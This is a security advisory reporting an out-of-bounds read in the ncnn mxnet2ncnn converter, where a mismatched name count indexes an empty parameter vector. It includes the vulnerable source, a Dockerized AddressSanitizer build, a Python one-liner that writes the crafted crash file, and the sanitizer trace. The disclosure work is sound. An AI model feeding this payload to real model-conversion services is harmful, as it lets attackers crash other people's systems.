Out-of-Bounds Access in MXNet Parameter Parsing

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/mxnet/mxnet2ncnn.cpp:769 in read_mxnet_param
Sanitizer verdict: SEGV on unknown address 0x000000000008 (pc 0x749c714fd6e4 bp 0x7fff8fbd9d60 sp 0x7fff8fbd99e8 T0)

Summary

A crafted MXNet .params file makes the mxnet2ncnn converter index an empty std::vector<MXNetParam> and call std::string::resize() on the resulting invalid object, terminating the process. The entry point is the mxnet2ncnn CLI, which takes the parameter file as argv[2] and hands it straight to read_mxnet_param(). Any conversion service or batch job that runs the converter over user-supplied models can be aborted by a 40-byte file. The demonstrated impact is denial of service; no write primitive is shown.

Detail

The MXNet parameter format stores two independent counts. read_mxnet_param() first reads data_count and appends one MXNetParam to params per NDArray it successfully parses. It then reads a second count, name_count, from the same attacker-controlled stream and walks it with a loop that indexes params[i] directly. Nothing ties name_count to params.size(), and nothing rejects the case where the name loop runs longer than the data loop.

// tools/mxnet/mxnet2ncnn.cpp:613
    uint64_t data_count;
    nread = fread(&data_count, sizeof(uint64_t), 1, fp);
    if (nread != 1)
    {
        fprintf(stderr, "read data_count failed %zd\n", nread);
        return false;
    }

// tools/mxnet/mxnet2ncnn.cpp:757
    for (int i = 0; i < (int)name_count; i++)
    {
        uint64_t len;
        nread = fread(&len, sizeof(uint64_t), 1, fp);
        if (nread != 1)
        {
            fprintf(stderr, "read name length failed %zd\n", nread);
            return false;
        }

        MXNetParam& p = params[i];

        p.name.resize(len);

The PoC writes five little-endian uint64 fields — header 0, reserved 0, data_count = 0, name_count = 1, len = 1 — followed by a single name byte. Because data_count is zero the NDArray loop never runs and params stays empty, so params.data() is null and params[0] binds a reference to address 0.

MXNetParam's first member is std::string name (tools/mxnet/mxnet2ncnn.cpp:81-87), so p.name also sits at offset 0. std::string::resize() reads the string's length field, which libstdc++ stores eight bytes into the object — matching the observed faulting address 0x000000000008. Had params been non-empty but merely shorter than name_count, the same statement would instead resize a real string object located past the end of the vector's allocation, using the fully attacker-controlled 64-bit len.

Reproduce

mkdir -p ncnn-poc-out-of-bounds-access-in-mxnet-parameter-parsing && cd ncnn-poc-out-of-bounds-access-in-mxnet-parameter-parsing

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

python3 - <<'PARAMS'
import struct
open("mxnet.params", "wb").write(struct.pack("<QQQQQ", 0, 0, 0, 1, 1) + b"A")
PARAMS

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/mxnet/mxnet2ncnn null mxnet.params

AddressSanitizer output:

fopen null failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x7a1768dfa6e4 bp 0x7fff160b9090 sp 0x7fff160b8d18 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x7a1768dfa6e4 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::resize(unsigned long, char) (/lib/x86_64-linux-gnu/libstdc++.so.6+0x1696e4) (BuildId: 753c6c8608b61d4e67be8f0c890e03e0aa046b8b)
    #1 0x5bc25aa6041e in read_mxnet_param /ncnn/tools/mxnet/mxnet2ncnn.cpp:769
    #2 0x5bc25aa64956 in main /ncnn/tools/mxnet/mxnet2ncnn.cpp:976
    #3 0x7a17689921c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x7a176899228a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #5 0x5bc25aa599c4 in _start (/ncnn/build/tools/mxnet/mxnet2ncnn+0x99c4) (BuildId: 570831d83e6db66d37c79a6bef06d728c8377e18)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libstdc++.so.6+0x1696e4) (BuildId: 753c6c8608b61d4e67be8f0c890e03e0aa046b8b) in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::resize(unsigned long, char)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst